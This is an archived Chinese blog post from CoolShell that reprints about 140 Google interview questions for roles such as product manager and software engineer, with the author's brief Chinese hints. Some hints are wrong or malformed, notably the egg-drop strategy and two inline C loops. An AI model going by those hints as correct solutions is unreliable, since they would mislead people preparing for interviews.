src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3363.html\">偷了世界的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-2 140个Google的面试题.html",
    "content": "<html><body><p>来源：<a href=\"http://blog.seattleinterviewcoach.com/2009/02/140-google-interview-questions.html\" target=\"_blank\">http://blog.seattleinterviewcoach.com/2009/02/140-google-interview-questions.html</a>（墙）<br/>\n<img alt=\"\" class=\"alignright size-medium wp-image-3349\" height=\"158\" src=\"../wp-content/uploads/2010/12/googlequestion-300x225.jpg\" title=\"Google 面试题 \" width=\"210\"/></p>\n<div>某猎头收集了140多个Google的面试题，都张到他的Blog中了，主要是下面这些职位的，因为被墙，且无任何敏感信息，所以，我原文搬过来了。</div>\n<div>\n<ul>\n<li>Product Marketing Manager</li>\n<li>Product Manager</li>\n<li>Software Engineer</li>\n<li>Software Engineer in Test</li>\n<li>Quantitative Compensation Analyst</li>\n<li>Engineering Manager</li>\n<li>AdWords Associate</li>\n</ul>\n</div>\n<p>这篇Blog例举了Google用来面试下面这几个职位的面试题。很多不是很容易回答，不过都比较经典与变态，是Google，Microsoft，Amazon之类的公司的风格。对于本文，我没有翻译，因为我相信，英文问题是最好的。不过对于有些问题，我做了一些注释，不一定对，但希望对你有帮助启发。对于一些问题，如果你百思不得其解，可以Google一下，StackOverflow或是Wikipedia上可能会给你非常全面的答案。</p>\n<p><span id=\"more-3345\"></span></p>\n<div><strong>Product Marketing Manager</strong></div>\n<div>\n<div>\n<ul>\n<li>Why do you want to join Google?</li>\n<li>What do you know about Google’s product and technology?</li>\n<li>If you are Product Manager for Google’s Adwords, how do you plan to market this?</li>\n<li>What would you say during an AdWords or AdSense product seminar?</li>\n<li>Who are Google’s competitors, and how does Google compete with them?</li>\n<li>Have you ever used Google’s products? Gmail?</li>\n<li>What’s a creative way of marketing Google’s brand name and product?</li>\n<li>If you are the product marketing manager for Google’s Gmail product, how do you plan to market it so as to achieve 100 million customers in 6 months?</li>\n<li>How much money you think Google makes daily from Gmail ads?</li>\n<li>Name a piece of technology you’ve read about recently. Now tell me your own creative execution for an ad for that product.</li>\n<li>Say an advertiser makes $0.10 every time someone clicks on their ad.  Only 20% of people who visit the site click on their ad.  How many people need to visit the site for the advertiser to make $20?<span style=\"white-space: pre;\"> </span></li>\n<li>Estimate the number of students who are college seniors, attend four-year schools, and graduate with a job in the United States every year.</li>\n</ul>\n</div>\n</div>\n<div><strong>Product Manager</strong></div>\n<div>\n<div>\n<ul>\n<li>How would you boost the GMail subscription base?</li>\n<li>What is the most efficient way to sort a million integers?  （陈皓：merge sort）</li>\n<li>How would you re-position Google’s offerings to counteract competitive threats from Microsoft?</li>\n<li>How many golf balls can fit in a school bus? （陈皓：这种题一般来说是考你的解题思路的，注意，你不能单纯地把高尔夫球当成一个小立方体，其是一个圆球，堆起来的时候应该是错开的——也就是三个相邻的球的圆心是个等边三角形）</li>\n<li>You are shrunk to the height of a nickel and your mass is proportionally reduced so as to maintain your original density. You are then thrown into an empty glass blender. The blades will start moving in 60 seconds. What do you do?</li>\n<li>How much should you charge to wash all the windows in Seattle?</li>\n<li>How would you find out if a machine’s stack grows up or down in memory?</li>\n<li>Explain a database in three sentences to your eight-year-old nephew. （陈皓：用三句话向8岁的侄子解释什么是数据库，考你的表达能力了）</li>\n<li>How many times a day does a clock’s hands overlap?（陈皓：经典的时钟问题）</li>\n<li>You have to get from point A to point B. You don’t know if you can get there. What would you do?</li>\n<li>Imagine you have a closet full of shirts. It’s very hard to find a shirt. So what can you do to organize your shirts for easy retrieval? （陈皓：很不错的一道题，不要以为分类查询很容易，想想图书馆图书的分类查询问题吧。另外，你处想想如何在你在你的衣柜里实现一个相当于Hash表或是一个Tree之类的数据结构）</li>\n<li>Every man in a village of 100 married couples has cheated on his wife. Every wife in the village instantly knows when a man other than her husband has cheated, but does not know when her own husband has. The village has a law that does not allow for adultery. Any wife who can prove that her husband is unfaithful must kill him that very day. The women of the village would never disobey this law. One day, the queen of the village visits and announces that at least one husband has been unfaithful. What happens? （陈皓：这个问题很有限制级，哈哈，非常搞的一个问题，注意wife们的递归，这类的问题是经典的分布式通讯问题，上网搜 一搜吧。）</li>\n<li>In a country in which people only want boys, every family continues to have children until they have a boy. If they have a girl, they have another child. If they have a boy, they stop. What is the proportion of boys to girls in the country?（陈皓：第一反应是——这个国家是中国。一个概率问题，其实，无论你怎么生，50%的概率是永远不变的。）</li>\n<li>If the probability of observing a car in 30 minutes on a highway is 0.95, what is the probability of observing a car in 10 minutes (assuming constant default probability)?</li>\n<li>If you look at a clock and the time is 3:15, what is the angle between the hour and the minute hands? (The answer to this is not zero!)</li>\n<li>Four people need to cross a rickety rope bridge to get back to their camp at night. Unfortunately, they only have one flashlight and it only has enough light left for seventeen minutes. The bridge is too dangerous to cross without a flashlight, and it’s only strong enough to support two people at any given time. Each of the campers walks at a different speed. One can cross the bridge in 1 minute, another in 2 minutes, the third in 5 minutes, and the slow poke takes 10 minutes to cross. How do the campers make it across in 17 minutes?（陈皓：经典的过桥问题）</li>\n<li>You are at a party with a friend and 10 people are present including you and the friend. your friend makes you a wager that for every person you find that has the same birthday as you, you get $1; for every person he finds that does not have the same birthday as you, he gets $2. would you accept the wager?</li>\n<li>How many piano tuners are there in the entire world?</li>\n<li>You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you find the ball that is heavier by using a balance and only two weighings?（陈皓：经典的称重问题。这样的问题花样很多，不过都不难回答）</li>\n<li>You have five pirates, ranked from 5 to 1 in descending order. The top pirate has the right to propose how 100 gold coins should be divided among them. But the others get to vote on his plan, and if fewer than half agree with him, he gets killed. How should he allocate the gold in order to maximize his share but live to enjoy it? (Hint: One pirate ends up with 98 percent of the gold.)</li>\n<li>You are given 2 eggs. You have access to a 100-story building. Eggs can be very hard or very fragile means it may break if dropped from the first floor or may not even break if dropped from 100th floor. Both eggs are identical. You need to figure out the highest floor of a 100-story building an egg can be dropped without breaking. The question is how many drops you need to make. You are allowed to break 2 eggs in the process. （陈皓：从3的倍数的楼层开始扔，比如3，6，9，12…..，如果鸡蛋在3n层碎了，那到在3n-1层扔第二个鸡蛋，如果没碎，则最高不碎楼层为3n-1，否则为3n-2）</li>\n<li>Describe a technical problem you had and how you solved it.</li>\n<li>How would you design a simple search engine?</li>\n<li>Design an evacuation plan for San Francisco.</li>\n<li>There’s a latency problem in South Africa. Diagnose it. （陈皓：这个问题完全是在考你的解决问题的能力。没有明确的答案。不过，解决性能问题的第一步通常是找出瓶颈，找瓶颈有很多种方法，工具，二分查，时间记录等等。）</li>\n<li>What are three long term challenges facing Google?</li>\n<li>Name three non-Google websites that you visit often and like.  What do you like about the user interface and design?  Choose one of the three sites and comment on what new feature or project you would work on.  How would you design it?</li>\n<li>If there is only one elevator in the building, how would you change the design?  How about if there are only two elevators in the building? （陈皓：经典的电梯设计问题，这种问题千变万化，主要是考你的设计能力和需求变化的适变能力，与此相似的是酒店订房系统。）</li>\n<li>How many vacuum’s are made per year in USA?</li>\n</ul>\n</div>\n</div>\n<div>\n<div><strong>Software Engineer</strong></div>\n<div>\n<div>\n<ul>\n<li>Why are manhole covers round? （陈皓：为什么下水井盖是圆的？这是有N种答案的，上Wiki看看吧）</li>\n<li>What is the difference between a mutex and a semaphore?  Which one would you use to protect access to an increment operation?</li>\n<li>A man pushed his car to a hotel and lost his fortune. What happened? （陈皓：脑筋急转弯？他在玩大富翁游戏？！！）</li>\n<li>Explain the significance of “dead beef”.（陈皓：要是你看到的是16进制 DEAD BEEF，你会觉得这是什么？IPv6的地址？）</li>\n<li>Write a C program which measures the the speed of a context switch on a UNIX/Linux system.</li>\n<li>Given a function which produces a random integer in the range 1 to 5, write a function which produces a random integer in the range 1 to 7.（陈皓：上StackOverflow看看吧，经典的问题）</li>\n<li>Describe the algorithm for a depth-first graph traversal.</li>\n<li>Design a class library for writing card games. （陈皓：用一系列的类来设计一个扑克游戏，设计题）</li>\n<li>You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write a the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?（陈皓：协议+数字加密，我试想了一个，纸条上可以这样写，“Bob，请把我的手机号以MD5算法加密后的字符串，比对下面的字符串——XXXXXX，它们是一样的吗？”）</li>\n<li>How are cookies passed in the HTTP protocol?</li>\n<li>Design the SQL database tables for a car rental database.</li>\n<li>Write a regular expression which matches a email address. （陈皓：上StackOverflow查相当的问题吧。）</li>\n<li>Write a function f(a, b) which takes two character string arguments and returns a string containing only the characters found in both strings in the order of a. Write a version which is order N-squared and one which is order N.（陈皓：算法题，不难，不说了。一个O(n^2)和一个O(n)的算法复杂度）</li>\n<li>You are given a the source to a application which is crashing when run. After running it 10 times in a debugger, you find it never crashes in the same place. The application is single threaded, and uses only the C standard library. What programming errors could be causing this crash? How would you test each one? （陈皓：和随机数有关系？或是时间？）</li>\n<li>Explain how congestion control works in the TCP protocol.</li>\n<li>In Java, what is the difference between final, finally, and finalize?</li>\n<li>What is multithreaded programming? What is a deadlock?</li>\n<li>Write a function (with helper functions if needed) called to Excel that takes an excel column value (A,B,C,D…AA,AB,AC,… AAA..) and returns a corresponding integer value (A=1,B=2,… AA=26..).</li>\n<li>You have a stream of infinite queries (ie: real time Google search queries that people are entering). Describe how you would go about finding a good estimate of 1000 samples from this never ending set of data and then write code for it.</li>\n<li>Tree search algorithms. Write BFS and DFS code, explain run time and space requirements. Modify the code to handle trees with weighted edges and loops with BFS and DFS, make the code print out path to goal state.</li>\n<li>You are given a list of numbers. When you reach the end of the list you will come back to the beginning of the list (a circular list). Write the most efficient algorithm to find the minimum # in this list. Find any given # in the list. The numbers in the list are always increasing but you don’t know where the circular list begins, ie: 38, 40, 55, 89, 6, 13, 20, 23, 36. （陈皓：循环排序数组的二分查找问题）</li>\n<li>Describe the data structure that is used to manage memory. (stack)</li>\n<li>What’s the difference between local and global variables?</li>\n<li>If you have 1 million integers, how would you sort them efficiently? (modify a specific sorting algorithm to solve this)</li>\n<li>In Java, what is the difference between static, final, and const. (if you don’t know Java they will ask something similar for C or C++).</li>\n<li>Talk about your class projects or work projects (pick something easy)… then describe how you could make them more efficient (in terms of algorithms).</li>\n<li>Suppose you have an NxN matrix of positive and negative integers. Write some code that finds the sub-matrix with the maximum sum of its elements.（陈皓：以前见过一维数组的这个问题，现在是二维的。感觉应该是把二维的第一行的最大和的区间算出来，然后再在这个基础之上进行二维的分析。思路应该是这个，不过具体的算法还需要想一想）</li>\n<li>Write some code to reverse a string.</li>\n<li>Implement division (without using the divide operator, obviously).（陈皓：想一想手算除法的过程。）</li>\n<li>Write some code to find all permutations of the letters in a particular string.</li>\n<li>What method would you use to look up a word in a dictionary? （陈皓：使用排序，哈希，树等算法和数据结构）</li>\n<li>Imagine you have a closet full of shirts. It’s very hard to find a shirt. So what can you do to organize your shirts for easy retrieval?</li>\n<li>You have eight balls all of the same size. 7 of them weigh the same, and one of them weighs slightly more. How can you fine the ball that is heavier by using a balance and only two weighings?</li>\n<li>What is the C-language command for opening a connection with a foreign host over the internet?</li>\n<li>Design and describe a system/application that will most efficiently produce a report of the top 1 million Google search requests. These are the particulars: 1) You are given 12 servers to work with. They are all dual-processor machines with 4Gb of RAM, 4x400GB hard drives and networked together.(Basically, nothing more than high-end PC’s) 2) The log data has already been cleaned for you. It consists of 100 Billion log lines, broken down into 12 320 GB files of 40-byte search terms per line. 3) You can use only custom written applications or available free open-source software.</li>\n<li>There is an array A[N] of N numbers. You have to compose an array Output[N] such that Output[i] will be equal to multiplication of all the elements of A[N] except A[i]. For example Output[0] will be multiplication of A[1] to A[N-1] and Output[1] will be multiplication of A[0] and from A[2] to A[N-1]. Solve it without division operator and in O(n).（陈皓：注意其不能使用除法。算法思路是这样的，把output[i]=a[i]左边的乘积 x a[i]右边的乘积，所以，我们可以分两个循环，第一次先把A[i]左边的乘积放在Output[i]中，第二次把A[i]右边的乘积算出来。我们先看第一次的循环，使用迭代累积的方式，代码如下：for(r=1; i=0; i&lt;n-1; i++){ Output[i]=r; r*=a[i]; }，看明白了吧。第二次的循环我就不说了，方法一样的。）</li>\n<li>There is a linked list of numbers of length N. N is very large and you don’t know N. You have to write a function that will return k random numbers from the list. Numbers should be completely random. Hint: 1. Use random function rand() (returns a number between 0 and 1) and irand() (return either 0 or 1) 2. It should be done in O(n).（陈皓：本题其实不难。在遍历链表的同时一边生成随机数，一边记录最大的K个随机数和其链接地址。）</li>\n<li>Find or determine non existence of a number in a sorted list of N numbers where the numbers range over M, M&gt;&gt; N and N large enough to span multiple disks. Algorithm to beat O(log n) bonus points for constant time algorithm.（陈皓：使用bitmap，如果一个长整形有64位，那么我们可以使用M/64个bitmap）</li>\n<li>You are given a game of Tic Tac Toe. You have to write a function in which you pass the whole game and name of a player. The function will return whether the player has won the game or not. First you to decide which data structure you will use for the game. You need to tell the algorithm first and then need to write the code. Note: Some position may be blank in the game। So your data structure should consider this condition also.</li>\n<li>You are given an array [a1 To an] and we have to construct another array [b1 To bn] where bi = a1*a2*…*an/ai. you are allowed to use only constant space and the time complexity is O(n). No divisions are allowed.（陈皓：前面说过了）</li>\n<li>How do you put a Binary Search Tree in an array in a efficient manner. Hint :: If the node is stored at the ith position and its children are at 2i and 2i+1(I mean level order wise)Its not the most efficient way.（陈皓：按顺序遍历树）</li>\n<li>How do you find out the fifth maximum element in an Binary Search Tree in efficient manner. Note: You should not use use any extra space. i.e sorting Binary Search Tree and storing the results in an array and listing out the fifth element.</li>\n<li>Given a Data Structure having first n integers and next n chars. A = i1 i2 i3 … iN c1 c2 c3 … cN.Write an in-place algorithm to rearrange the elements of the array ass A = i1 c1 i2 c2 … in cn（陈皓：这个算法其实就是从中间开始交换元素，代码：for(i=n-1; i&gt;1; i++) {  for(j=i; j&lt;2*n-i; j+=2) { swap(a[j], a[j+1]); } }，不好意思写在同一行上了。）</li>\n<li>Given two sequences of items, find the items whose absolute number increases or decreases the most when comparing one sequence with the other by reading the sequence only once.</li>\n<li>Given That One of the strings is very very long , and the other one could be of various sizes. Windowing will result in O(N+M) solution but could it be better? May be NlogM or even better?</li>\n<li>How many lines can be drawn in a 2D plane such that they are equidistant from 3 non-collinear points?</li>\n<li>Let’s say you have to construct Google maps from scratch and guide a person standing on Gateway of India (Mumbai) to India Gate(Delhi). How do you do the same?</li>\n<li>Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one?</li>\n<li>Given a binary tree, programmatically you need to prove it is a binary search tree.</li>\n<li>You are given a small sorted list of numbers, and a very very long sorted list of numbers – so long that it had to be put on a disk in different blocks. How would you find those short list numbers in the bigger one?</li>\n<li>Suppose you have given N companies, and we want to eventually merge them into one big company. How many ways are theres to merge?</li>\n<li>Given a file of 4 billion 32-bit integers, how to find one that appears at least twice? （陈皓：我能想到的是拆分成若干个小数组，排序，然后一点点归并起来）</li>\n<li>Write a program for displaying the ten most frequent words in a file such that your program should be efficient in all complexity measures.（陈皓：你可能需要看看这篇文章<a href=\"http://www.cs.rutgers.edu/~farach/pubs/FrequentStream.pdf\" target=\"_blank\"><span style=\"text-decoration: underline;\">Finding Frequent Items in Data Streams</span></a>）</li>\n<li>Design a stack. We want to push, pop, and also, retrieve the minimum element in constant time.</li>\n<li>Given a set of coin denominators, find the minimum number of coins to give a certain amount of change.（陈皓：你应该查看一下这篇文章：<a href=\"http://www.algorithmist.com/index.php/Coin_Change\" target=\"_blank\"><span style=\"text-decoration: underline;\">Coin Change Problem</span></a>）</li>\n<li>Given an array, i) find the longest continuous increasing subsequence. ii) find the longest increasing subsequence.（陈皓：这个题不难，O(n)算法是边遍历边记录当前最大的连续的长度。）</li>\n<li>Suppose we have N companies, and we want to eventually merge them into one big company. How many ways are there to merge?</li>\n<li>Write a function to find the middle node of a single link list. （陈皓：我能想到的算法是——设置两个指针p1和p2，每一次，p1走两步，p2走一步，这样，当p1走到最后时，p2就在中间）</li>\n<li>Given two binary trees, write a compare function to check if they are equal or not. Being equal means that they have the same value and same structure.（陈皓：这个很简单，使用递归算法。）</li>\n<li>Implement put/get methods of a fixed size cache with LRU replacement algorithm.</li>\n<li>You are given with three sorted arrays ( in ascending order), you are required to find a triplet ( one element from each array) such that distance is minimum. Distance is defined like this : If a[i], b[j] and c[k] are three elements then distance=max(abs(a[i]-b[j]),abs(a[i]-c[k]),abs(b[j]-c[k]))” Please give a solution in O(n) time complexity（陈皓：三个指针，a, b, c分别指向三个数组头，假设：a[0]&lt;b[0]&lt;c[0]，推进a直到a[i]&gt;b[0]，计算 abs(a[i-1] – c[0])，把结果保存在min中。现在情况变成找 a[i], b[0],c[0]，重复上述过程，如果有一个新的值比min要小，那就取代现有的min。）</li>\n<li>How does C++ deal with constructors and deconstructors of a class and its child class?</li>\n<li>Write a function that flips the bits inside a byte (either in C++ or Java). Write an algorithm that take a list of n words, and an integer m, and retrieves the mth most frequent word in that list.</li>\n<li>What’s 2 to the power of 64?</li>\n<li>Given that you have one string of length N and M small strings of length L. How do you efficiently find the occurrence of each small string in the larger one? （陈皓：我能想到的是——把那M个小字串排个序，然后遍历大字串，并在那M个字串中以二分取中的方式查找。）</li>\n<li>How do you find out the fifth maximum element in an Binary Search Tree in efficient manner.</li>\n<li>Suppose we have N companies, and we want to eventually merge them into one big company. How many ways are there to merge?</li>\n<li>There is linked list of millions of node and you do not know the length of it. Write a function which will return a random number from the list.</li>\n<li>You need to check that your friend, Bob, has your correct phone number, but you cannot ask him directly. You must write a the question on a card which and give it to Eve who will take the card to Bob and return the answer to you. What must you write on the card, besides the question, to ensure Bob can encode the message so that Eve cannot read your phone number?</li>\n<li>How long it would take to sort 1 trillion numbers? Come up with a good estimate.</li>\n<li>Order the functions in order of their asymptotic performance: 1) 2^n 2) n^100 3) n! 4) n^n</li>\n<li>There are some data represented by(x,y,z). Now we want to find the Kth least data. We say (x1, y1, z1) &gt; (x2, y2, z2) when value(x1, y1, z1) &gt; value(x2, y2, z2) where value(x,y,z) = (2^x)*(3^y)*(5^z). Now we can not get it by calculating value(x,y,z) or through other indirect calculations as lg(value(x,y,z)). How to solve it?</li>\n<li>How many degrees are there in the angle between the hour and minute hands of a clock when the time is a quarter past three?</li>\n<li>Given an array whose elements are sorted, return the index of a the first occurrence of a specific integer. Do this in sub-linear time. I.e. do not just go through each element searching for that element.</li>\n<li>Given two linked lists, return the intersection of the two lists: i.e. return a list containing only the elements that occur in both of the input lists. （陈皓：把第一个链表存入hash表，然后遍历第二个链表。不知道还没有更好的方法。）</li>\n<li>What’s the difference between a hashtable and a hashmap?</li>\n<li>If a person dials a sequence of numbers on the telephone, what possible words/strings can be formed from the letters associated with those numbers?（陈皓：这个问题和美国的电话有关系，大家可以试着想一下我们发短信的手机，按数字键出字母，一个组合的数学问题。）</li>\n<li>How would you reverse the image on an n by n matrix where each pixel is represented by a bit?</li>\n<li>Create a fast cached storage mechanism that, given a limitation on the amount of cache memory, will ensure that only the least recently used items are discarded when the cache memory is reached when inserting a new item. It supports 2 functions: String get(T t) and void put(String k, T t).</li>\n<li>Create a cost model that allows Google to make purchasing decisions on to compare the cost of purchasing more RAM memory for their servers vs. buying more disk space.</li>\n<li>Design an algorithm to play a game of Frogger and then code the solution. The object of the game is to direct a frog to avoid cars while crossing a busy road. You may represent a road lane via an array. Generalize the solution for an N-lane road.</li>\n<li>What sort would you use if you had a large data set on disk and a small amount of ram to work with?</li>\n<li>What sort would you use if you required tight max time bounds and wanted highly regular performance.</li>\n<li>How would you store 1 million phone numbers?（陈皓：试想电话是有区段的，可以把区段统一保存，Flyweight设计模式）</li>\n<li>Design a 2D dungeon crawling game. It must allow for various items in the maze – walls, objects, and computer-controlled characters. (The focus was on the class structures, and how to optimize the experience for the user as s/he travels through the dungeon.)</li>\n<li>What is the size of the C structure below on a 32-bit system? On a 64-bit? （陈皓：注意编译器的对齐）</li>\n</ul>\n<p style=\"padding-left: 90px;\">struct foo {</p>\n<div style=\"padding-left: 90px;\">char a;</div>\n<div style=\"padding-left: 90px;\">char* b;</div>\n<div style=\"padding-left: 90px;\">};</div>\n</div>\n</div>\n<div><strong>Software Engineer in Test</strong></div>\n<div>\n<ul>\n<li>Efficiently implement 3 stacks in a single array.</li>\n<li>Given an array of integers which is circularly sorted, how do you find a given integer.</li>\n<li>Write a program to find depth of binary search tree without using recursion.</li>\n<li>Find the maximum rectangle (in terms of area) under a histogram in linear time.</li>\n<li>Most phones now have full keyboards. Before there there three letters mapped to a number button. Describe how you would go about implementing spelling and word suggestions as people type.</li>\n<li>Describe recursive mergesort and its runtime. Write an iterative version in C++/Java/Python.</li>\n<li>How would you determine if someone has won a game of tic-tac-toe on a board of any size?</li>\n<li>Given an array of numbers, replace each number with the product of all the numbers in the array except the number itself *without* using division.</li>\n<li>Create a cache with fast look up that only stores the N most recently accessed items.</li>\n<li>How to design a search engine? If each document contains a set of keywords, and is associated with a numeric attribute, how to build indices?</li>\n<li>Given two files that has list of words (one per line), write a program to show the intersection.</li>\n<li>What kind of data structure would you use to index annagrams of words? e.g. if there exists the word “top” in the database, the query for “pot” should list that.</li>\n</ul>\n<div>\n<div><strong>Quantitative Compensation Analyst</strong></div>\n</div>\n</div>\n<div>\n<ul>\n<li>What is the yearly standard deviation of a stock given the monthly standard deviation?</li>\n<li>How many resumes does Google receive each year for software engineering?</li>\n<li>Anywhere in the world, where would you open up a new Google office and how would you figure out compensation for all the employees at this new office?</li>\n<li>What is the probability of breaking a stick into 3 pieces and forming a triangle?</li>\n</ul>\n</div>\n<div><strong>Engineering Manager</strong></div>\n<div>\n<ul>\n<li>You’re the captain of a pirate ship, and your crew gets to vote on how the gold is divided up. If fewer than half of the pirates agree with you, you die. How do you recommend apportioning the gold in such a way that you get a good share of the booty, but still survive?</li>\n</ul>\n</div>\n<div><strong>AdWords Associate</strong></div>\n<div>\n<ul>\n<li>How would you work with an advertiser who was not seeing the benefits of the AdWords relationship due to poor conversions?</li>\n<li>How would you deal with an angry or frustrated advertisers on the phone?</li>\n</ul>\n</div>\n<div><span style=\"font-size: small;\"><em>Sources</em></span></div>\n<div style=\"padding-left: 30px;\"><span><span style=\"font-size: small;\"><a href=\"http://news.ycombinator.com/item?id=266663\" target=\"_blank\">http://news.ycombinator.com/item?id=266663</a> </span></span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://tihomir.org/crazy-questions-at-google-job-interview/\" target=\"_blank\">http://tihomir.org/crazy-questions-at-google-job-interview/</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.drizzle.com/~jpaint/google.html\" target=\"_blank\">http://www.drizzle.com/~jpaint/google.html</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.gamedev.net/community/forums/topic.asp?topic_id=299692\" target=\"_blank\">http://www.gamedev.net/community/forums/topic.asp?topic_id=299692</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://careers.cse.sc.edu/googleinterview\" target=\"_blank\">http://careers.cse.sc.edu/googleinterview</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://job-interview.blogspot.com/2005/02/google-interview-product-marketing.html\" target=\"_blank\">http://job-interview.blogspot.com/2005/02/google-interview-product-marketing.html</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.theregister.co.uk/2007/01/05/google_interview_tales/\" target=\"_blank\">http://www.theregister.co.uk/2007/01/05/google_interview_tales/</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm\" target=\"_blank\">http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://money.cnn.com/2007/08/29/technology/brain_teasers.biz2/index.htm\" target=\"_blank\">http://blogs.lessthandot.com/index.php/ITProfessionals/EthicsIT/google-interview-questions</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://placementsindia.blogspot.com/2007/09/google-top-interview-puzzles.html\" target=\"_blank\">http://placementsindia.blogspot.com/2007/09/google-top-interview-puzzles.html</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://linkmingle.com/user/interview_questions/google_interview_questions\" target=\"_blank\">http://linkmingle.com/user/interview_questions/google_interview_questions</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://discuss.joelonsoftware.com/default.asp?interview.11.626758.33\" target=\"_blank\">http://discuss.joelonsoftware.com/default.asp?interview.11.626758.33</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://mindcipher.com/puzzle/78-clock-works\" target=\"_blank\">http://mindcipher.com/puzzle/78-clock-works</a><br/>\n</span></div>\n<div style=\"padding-left: 30px;\"><span style=\"font-size: small;\"><a href=\"http://www.glassdoor.com\" target=\"_blank\">http://www.glassdoor.com</a></span></div>\n<div style=\"padding-left: 30px;\">\n<div><span style=\"font-size: small;\"><a href=\"http://bluepixel.ca/blog/?p=69\" target=\"_blank\">http://bluepixel.ca/blog/?p=69</a></span></div>\n<div><span style=\"font-size: small;\"> </span><span style=\"font-size: small;\"><a href=\"http://www.businessinsider.com/my-nightmare-interviews-with-google-2009-11\" target=\"_blank\">http://www.businessinsider.com/my-nightmare-interviews-with-google-2009-11</a></span></div>\n<div><span style=\"font-size: small;\"><br/>\n</span></div>\n</div>\n</div>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8138.html\"><img alt=\"为什么我反对纯算法面试题\" height=\"150\" src=\"../wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8138.html\">为什么我反对纯算法面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4976.html\"><img alt=\"给程序员新手的一些建议\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4976.html\">给程序员新手的一些建议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4506.html\"><img alt=\"再谈“我是怎么招聘程序员的”（上）\" height=\"150\" 